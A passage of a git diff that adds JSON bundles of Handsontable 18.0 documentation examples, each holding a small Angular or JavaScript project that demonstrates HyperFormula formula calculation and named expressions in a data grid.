'=A43*(B43*C43)+D43'],\n ['50', '127', '0.7', '7', '=A44*(B44*C44)+D44'],\n ['31', '200', '0.15', '14', '=A45*(B45*C45)+D45'],\n ['132', '654', '0.81', '8', '=A46*(B46*C46)+D46'],\n ['45', '438', '0.79', '6', '=A47*(B47*C47)+D47'],\n ['197', '615', '0.63', '7', '=A48*(B48*C48)+D48'],\n ['190', '592', '0.37', '8', '=A49*(B49*C49)+D49'],\n ['184', '419', '0.78', '8', '=A50*(B50*C50)+D50'],\n ['169', '58', '0.13', '7', '=A51*(B51*C51)+D51'],\n ['152', '324', '0.58', '5', '=A52*(B52*C52)+D52'],\n ['182', '713', '0.53', '5', '=A53*(B53*C53)+D53'],\n ['141', '576', '0.63', '12', '=A54*(B54*C54)+D54'],\n ['169', '429', '0.14', '13', '=A55*(B55*C55)+D55'],\n ['39', '694', '0.98', '13', '=A56*(B56*C56)+D56'],\n ['71', '361', '0.3', '13', '=A57*(B57*C57)+D57'],\n ['148', '540', '0.89', '6', '=A58*(B58*C58)+D58'],\n ['116', '52', '0.3', '7', '=A59*(B59*C59)+D59'],\n ['96', '395', '0.28', '7', '=A60*(B60*C60)+D60'],\n ['35', '222', '0.86', '13', '=A61*(B61*C61)+D61'],\n ['16', '430', '0.8', '8', '=A62*(B62*C62)+D62'],\n ['194', '357', '0.72', '9', '=A63*(B63*C63)+D63'],\n ['24', '498', '0.7', '7', '=A64*(B64*C64)+D64'],\n ['170', '142', '0.52', '5', '=A65*(B65*C65)+D65'],\n ['184', '614', '0.68', '9', '=A66*(B66*C66)+D66'],\n ['153', '524', '0.15', '9', '=A67*(B67*C67)+D67'],\n ['88', '620', '0.39', '15', '=A68*(B68*C68)+D68'],\n ['57', '452', '0.11', '6', '=A69*(B69*C69)+D69'],\n ['62', '493', '0.03', '11', '=A70*(B70*C70)+D70'],\n ['123', '431', '0.75', '15', '=A71*(B71*C71)+D71'],\n ['77', '113', '0.63', '12', '=A72*(B72*C72)+D72'],\n ['199', '208', '0.07', '6', '=A73*(B73*C73)+D73'],\n ['149', '514', '0.42', '12', '=A74*(B74*C74)+D74'],\n ['191', '334', '0.78', '13', '=A75*(B75*C75)+D75'],\n ['150', '643', '0.32', '11', '=A76*(B76*C76)+D76'],\n ['130', '721', '0.62', '5', '=A77*(B77*C77)+D77'],\n ['179', '517', '0.1', '8', '=A78*(B78*C78)+D78'],\n ['98', '31', '0.01', '10', '=A79*(B79*C79)+D79'],\n ['175', '509', '0.7', '11', '=A80*(B80*C80)+D80'],\n ['11', '569', '0.37', '7', '=A81*(B81*C81)+D81'],\n ['184', '630', '0.19', '6', '=A82*(B82*C82)+D82'],\n ['27', '165', '0.51', '13', '=A83*(B83*C83)+D83'],\n ['186', '417', '0.85', '15', '=A84*(B84*C84)+D84'],\n ['20', '741', '0.76', '11', '=A85*(B85*C85)+D85'],\n ['153', '640', '0.28', '6', '=A86*(B86*C86)+D86'],\n ['161', '542', '0.43', '14', '=A87*(B87*C87)+D87'],\n ['98', '344', '0.77', '6', '=A88*(B88*C88)+D88'],\n ['30', '400', '0.71', '13', '=A89*(B89*C89)+D89'],\n ['73', '91', '0.78', '8', '=A90*(B90*C90)+D90'],\n ['158', '72', '0.66', '12', '=A91*(B91*C91)+D91'],\n ['122', '35', '0.32', '15', '=A92*(B92*C92)+D92'],\n ['33', '99', '0.92', '9', '=A93*(B93*C93)+D93'],\n ['107', '538', '0.75', '10', '=A94*(B94*C94)+D94'],\n ['15', '563', '0.32', '6', '=A95*(B95*C95)+D95'],\n ['168', '572', '0.71', '6', '=A96*(B96*C96)+D96'],\n ['135', '217', '0.49', '12', '=A97*(B97*C97)+D97'],\n ['11', '595', '0.03', '13', '=A98*(B98*C98)+D98'],\n ['41', '739', '0.88', '11', '=A99*(B99*C99)+D99'],\n ['144', '289', '0.87', '13', '=A100*(B100*C100)+D100'],\n ['Sum', 'Average', 'Average', 'Sum', 'Sum'],\n [\n '=SUM(A1:A100)',\n '=AVERAGE(B1:B100)',\n '=AVERAGE(C1:C100)',\n '=SUM(D1:D100)',\n '=SUM(E1:E100)',\n ],\n ];\n\n readonly hotSettings: GridSettings = {\n formulas: {\n engine: HyperFormula,\n },\n colHeaders: ['Qty', 'Unit price', 'Discount', 'Freight', 'Total due (fx)'],\n fixedRowsBottom: 2,\n stretchH: 'all',\n height: 500,\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/formulas/formula-calculation/angular/example2.ts","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example2","exampleTitle":"Data grid example (2)","docPermalink":"/formula-calculation","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__angular__example3.ts.json new file mode 100644 index 00000000..be361251 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Formulas ▸ Formula calculation · Demo: plain-value named expression (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild, ViewEncapsulation } from '@angular/core';\nimport {GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\nimport {FormControl, ReactiveFormsModule} from '@angular/forms';\nimport {HyperFormula} from 'hyperformula';\n\n@Component({\n standalone: true,\n imports: [HotTableModule, ReactiveFormsModule],\n selector: 'app-example3',\n template: `\n
\n
\n  \n \n
\n
\n\n \n \n `,\n encapsulation: ViewEncapsulation.None,\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n namedExpressionsControl = new FormControl('=10 * Sheet1!$A$2');\n\n readonly hotData = [\n ['Travel ID', 'Destination', 'Base price', 'Price with extra cost'],\n ['154', 'Rome', 400, '=ROUND(ADDITIONAL_COST+C2,0)'],\n ['155', 'Athens', 300, '=ROUND(ADDITIONAL_COST+C3,0)'],\n ['156', 'Warsaw', 150, '=ROUND(ADDITIONAL_COST+C4,0)'],\n ];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: HyperFormula,\n namedExpressions: [\n {\n name: 'ADDITIONAL_COST',\n expression: 100,\n },\n ],\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n\n applyNamedExpression() {\n const formulasPlugin = this.hotTable.hotInstance!.getPlugin('formulas');\n\n (formulasPlugin.engine as any)?.changeNamedExpression('ADDITIONAL_COST', this.namedExpressionsControl.value);\n this.hotTable.hotInstance!.render();\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/formulas/formula-calculation/angular/example3.ts","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example3","exampleTitle":"Demo: plain-value named expression (2)","docPermalink":"/formula-calculation","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__angular__example4.ts.json new file mode 100644 index 00000000..e5cc925a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Formulas ▸ Formula calculation · Demo: formula-based named expressions (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\nimport { HyperFormula } from 'hyperformula';\n\n// Named expressions that reference cell ranges must be registered after the sheet\n// exists. Pre-build the engine in the constructor so the sheet is created first.\n@Component({\n selector: 'app-example4',\n template: `\n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n readonly hotData = [\n ['Widget A', 200, 250],\n ['Widget B', 150, 300],\n ['Widget C', 400, 350],\n ['Totals', '=Q1_TOTAL', '=Q2_TOTAL'],\n ];\n\n readonly hotSettings: GridSettings;\n\n constructor() {\n const hfInstance = HyperFormula.buildEmpty({\n licenseKey: 'internal-use-in-handsontable',\n });\n\n hfInstance.addSheet('Sheet1');\n hfInstance.addNamedExpression('Q1_TOTAL', '=SUM(Sheet1!$B$1:$B$3)');\n hfInstance.addNamedExpression('Q2_TOTAL', '=SUM(Sheet1!$C$1:$C$3)');\n\n this.hotSettings = {\n colHeaders: ['Product', 'Q1 Sales', 'Q2 Sales'],\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: hfInstance,\n sheetName: 'Sheet1',\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/formulas/formula-calculation/angular/example4.ts","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example4","exampleTitle":"Demo: formula-based named expressions (2)","docPermalink":"/formula-calculation","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example-data-grid.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example-data-grid.js.json new file mode 100644 index 00000000..01cc9b71 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example-data-grid.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Formulas ▸ Formula calculation · Data grid example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HyperFormula } from 'hyperformula';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data = [\n ['150', '643', '0.32', '11', '=A1*(B1*C1)+D1'],\n ['172', '474', '0.51', '11', '=A2*(B2*C2)+D2'],\n ['188', '371', '0.59', '11', '=A3*(B3*C3)+D3'],\n ['162', '731', '0.21', '10', '=A4*(B4*C4)+D4'],\n ['133', '682', '0.81', '9', '=A5*(B5*C5)+D5'],\n ['87', '553', '0.66', '10', '=A6*(B6*C6)+D6'],\n ['26', '592', '0.62', '11', '=A7*(B7*C7)+D7'],\n ['110', '461', '0.73', '9', '=A8*(B8*C8)+D8'],\n ['50', '346', '0.52', '15', '=A9*(B9*C9)+D9'],\n ['160', '423', '0.82', '11', '=A10*(B10*C10)+D10'],\n ['30', '216', '0.26', '9', '=A11*(B11*C11)+D11'],\n ['39', '473', '0.44', '5', '=A12*(B12*C12)+D12'],\n ['96', '490', '0.43', '5', '=A13*(B13*C13)+D13'],\n ['108', '176', '0.71', '7', '=A14*(B14*C14)+D14'],\n ['46', '586', '0.01', '14', '=A15*(B15*C15)+D15'],\n ['97', '514', '0.7', '14', '=A16*(B16*C16)+D16'],\n ['161', '717', '0.01', '13', '=A17*(B17*C17)+D17'],\n ['58', '123', '0.4', '8', '=A18*(B18*C18)+D18'],\n ['92', '739', '0.76', '14', '=A19*(B19*C19)+D19'],\n ['5', '320', '0.52', '13', '=A20*(B20*C20)+D20'],\n ['158', '480', '0.65', '5', '=A21*(B21*C21)+D21'],\n ['121', '373', '0.66', '8', '=A22*(B22*C22)+D22'],\n ['61', '704', '0.95', '7', '=A23*(B23*C23)+D23'],\n ['155', '452', '0.71', '10', '=A24*(B24*C24)+D24'],\n ['162', '693', '0.73', '11', '=A25*(B25*C25)+D25'],\n ['46', '75', '0.14', '15', '=A26*(B26*C26)+D26'],\n ['47', '691', '0.58', '15', '=A27*(B27*C27)+D27'],\n ['104', '346', '0.04', '7', '=A28*(B28*C28)+D28'],\n ['101', '717', '0.87', '5', '=A29*(B29*C29)+D29'],\n ['150', '487', '0.26', '15', '=A30*(B30*C30)+D30'],\n ['42', '465', '0.09', '14', '=A31*(B31*C31)+D31'],\n ['144', '337', '0.72', '7', '=A32*(B32*C32)+D32'],\n ['195', '138', '0.3', '6', '=A33*(B33*C33)+D33'],\n ['199', '717', '0.16', '6', '=A34*(B34*C34)+D34'],\n ['110', '236', '0.91', '9', '=A35*(B35*C35)+D35'],\n ['51', '351', '0.81', '13', '=A36*(B36*C36)+D36'],\n ['69', '221', '0.64', '9', '=A37*(B37*C37)+D37'],\n ['53', '125', '0.28', '12', '=A38*(B38*C38)+D38'],\n ['168', '428', '0.68', '9', '=A39*(B39*C39)+D39'],\n ['58', '361', '0.36', '5', '=A40*(B40*C40)+D40'],\n ['152', '213', '0.13', '13', '=A41*(B41*C41)+D41'],\n ['66', '431', '0.93', '10', '=A42*(B42*C42)+D42'],\n ['112', '108', '0.5', '14', '=A43*(B43*C43)+D43'],\n ['50', '127', '0.7', '7', '=A44*(B44*C44)+D44'],\n ['31', '200', '0.15', '14', '=A45*(B45*C45)+D45'],\n ['132', '654', '0.81', '8', '=A46*(B46*C46)+D46'],\n ['45', '438', '0.79', '6', '=A47*(B47*C47)+D47'],\n ['197', '615', '0.63', '7', '=A48*(B48*C48)+D48'],\n ['190', '592', '0.37', '8', '=A49*(B49*C49)+D49'],\n ['184', '419', '0.78', '8', '=A50*(B50*C50)+D50'],\n ['169', '58', '0.13', '7', '=A51*(B51*C51)+D51'],\n ['152', '324', '0.58', '5', '=A52*(B52*C52)+D52'],\n ['182', '713', '0.53', '5', '=A53*(B53*C53)+D53'],\n ['141', '576', '0.63', '12', '=A54*(B54*C54)+D54'],\n ['169', '429', '0.14', '13', '=A55*(B55*C55)+D55'],\n ['39', '694', '0.98', '13', '=A56*(B56*C56)+D56'],\n ['71', '361', '0.3', '13', '=A57*(B57*C57)+D57'],\n ['148', '540', '0.89', '6', '=A58*(B58*C58)+D58'],\n ['116', '52', '0.3', '7', '=A59*(B59*C59)+D59'],\n ['96', '395', '0.28', '7', '=A60*(B60*C60)+D60'],\n ['35', '222', '0.86', '13', '=A61*(B61*C61)+D61'],\n ['16', '430', '0.8', '8', '=A62*(B62*C62)+D62'],\n ['194', '357', '0.72', '9', '=A63*(B63*C63)+D63'],\n ['24', '498', '0.7', '7', '=A64*(B64*C64)+D64'],\n ['170', '142', '0.52', '5', '=A65*(B65*C65)+D65'],\n ['184', '614', '0.68', '9', '=A66*(B66*C66)+D66'],\n ['153', '524', '0.15', '9', '=A67*(B67*C67)+D67'],\n ['88', '620', '0.39', '15', '=A68*(B68*C68)+D68'],\n ['57', '452', '0.11', '6', '=A69*(B69*C69)+D69'],\n ['62', '493', '0.03', '11', '=A70*(B70*C70)+D70'],\n ['123', '431', '0.75', '15', '=A71*(B71*C71)+D71'],\n ['77', '113', '0.63', '12', '=A72*(B72*C72)+D72'],\n ['199', '208', '0.07', '6', '=A73*(B73*C73)+D73'],\n ['149', '514', '0.42', '12', '=A74*(B74*C74)+D74'],\n ['191', '334', '0.78', '13', '=A75*(B75*C75)+D75'],\n ['150', '643', '0.32', '11', '=A76*(B76*C76)+D76'],\n ['130', '721', '0.62', '5', '=A77*(B77*C77)+D77'],\n ['179', '517', '0.1', '8', '=A78*(B78*C78)+D78'],\n ['98', '31', '0.01', '10', '=A79*(B79*C79)+D79'],\n ['175', '509', '0.7', '11', '=A80*(B80*C80)+D80'],\n ['11', '569', '0.37', '7', '=A81*(B81*C81)+D81'],\n ['184', '630', '0.19', '6', '=A82*(B82*C82)+D82'],\n ['27', '165', '0.51', '13', '=A83*(B83*C83)+D83'],\n ['186', '417', '0.85', '15', '=A84*(B84*C84)+D84'],\n ['20', '741', '0.76', '11', '=A85*(B85*C85)+D85'],\n ['153', '640', '0.28', '6', '=A86*(B86*C86)+D86'],\n ['161', '542', '0.43', '14', '=A87*(B87*C87)+D87'],\n ['98', '344', '0.77', '6', '=A88*(B88*C88)+D88'],\n ['30', '400', '0.71', '13', '=A89*(B89*C89)+D89'],\n ['73', '91', '0.78', '8', '=A90*(B90*C90)+D90'],\n ['158', '72', '0.66', '12', '=A91*(B91*C91)+D91'],\n ['122', '35', '0.32', '15', '=A92*(B92*C92)+D92'],\n ['33', '99', '0.92', '9', '=A93*(B93*C93)+D93'],\n ['107', '538', '0.75', '10', '=A94*(B94*C94)+D94'],\n ['15', '563', '0.32', '6', '=A95*(B95*C95)+D95'],\n ['168', '572', '0.71', '6', '=A96*(B96*C96)+D96'],\n ['135', '217', '0.49', '12', '=A97*(B97*C97)+D97'],\n ['11', '595', '0.03', '13', '=A98*(B98*C98)+D98'],\n ['41', '739', '0.88', '11', '=A99*(B99*C99)+D99'],\n ['144', '289', '0.87', '13', '=A100*(B100*C100)+D100'],\n ['Sum', 'Average', 'Average', 'Sum', 'Sum'],\n ['=SUM(A1:A100)', '=AVERAGE(B1:B100)', '=AVERAGE(C1:C100)', '=SUM(D1:D100)', '=SUM(E1:E100)'],\n];\n\nconst container = document.querySelector('#example-data-grid');\n\nnew Handsontable(container, {\n data,\n formulas: {\n engine: HyperFormula,\n },\n colHeaders: ['Qty', 'Unit price', 'Discount', 'Freight', 'Total due (fx)'],\n fixedRowsBottom: 2,\n stretchH: 'all',\n height: 500,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/formulas/formula-calculation/javascript/example-data-grid.js","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-data-grid","exampleTitle":"Data grid example","docPermalink":"/formula-calculation","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example-data-grid.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example-data-grid.ts.json new file mode 100644 index 00000000..0dc022f2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__formulas__formula-calculation__javascript__example-data-grid.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Formulas ▸ Formula calculation · Data grid example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"hyperformula\": \"3.3.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
